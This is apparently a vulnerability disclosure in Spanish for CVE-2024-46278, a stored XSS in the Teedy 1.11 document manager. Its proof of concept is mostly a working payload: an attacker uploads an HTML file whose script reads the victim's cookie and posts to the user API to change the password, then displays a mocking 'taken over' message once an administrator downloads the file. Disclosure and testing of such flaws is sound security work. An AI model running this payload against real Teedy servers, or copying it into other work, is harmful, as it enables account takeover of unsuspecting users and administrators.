【CVE-2024-46278】teedy_1.11_account-takeover

【Teedy 1.11】toma de control de cuenta mediante XSS

Detalle

Existe una vulnerabilidad que provoca XSS al descargar archivos. La vulnerabilidad XSS podría permitir que un administrador de Teedy robe una cuenta con unos pocos clics.

Esta vulnerabilidad está marcada como CVE-2024-46278: https://www.cve.org/CVERecord?id=CVE-2024-46278

PoC

• Inicie sesión como cuenta de un atacante.
• Suba este archivo como tipo html. Debe cambiar “Origin” y “Referer” y el argumento de fetch según sea necesario.

<script>
const currentCookie = document.cookie;

const requestOptions = {
  method: 'POST',
  headers: {
    'Content-Type': 'application/x-www-form-urlencoded;charset=UTF-8',
    'Accept': 'application/json, text/plain, */*',
    'Cookie': currentCookie,
    'sec-ch-ua': '"Not_A Brand";v="8", "Chromium";v="120"',
    'sec-ch-ua-mobile': '?0',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36',
    'sec-ch-ua-platform': '"Linux"',
    'Origin': 'http://localhost:8080',
    'Sec-Fetch-Site': 'same-origin',
    'Sec-Fetch-Mode': 'cors',
    'Sec-Fetch-Dest': 'empty',
    'Referer': 'http://localhost:8080/',
    'Accept-Encoding': 'gzip, deflate, br',
    'Accept-Language': 'en-US,en;q=0.9'
  },
  body: 'password=superSecure2&passwordconfirm=superSecure2'
};

fetch('http://localhost:8080/api/user', requestOptions)
  .then(response => {
    if (!response.ok) {
      throw new Error('Network response was not ok');
    }
        document.write('<h1>Your account was taken over by the attacker LOL</h1>');
    return response.json();
  })
  .then(data => console.log(data))
  .catch(error => console.error('There was a problem with your fetch operation:', error));
</script>

• Inicie sesión con otra cuenta. p.ej. admin
• Haga clic en el archivo subido por el atacante y seleccione Download this file.

Demo

https://www.youtube.com/watch?v=udQgVogsmhA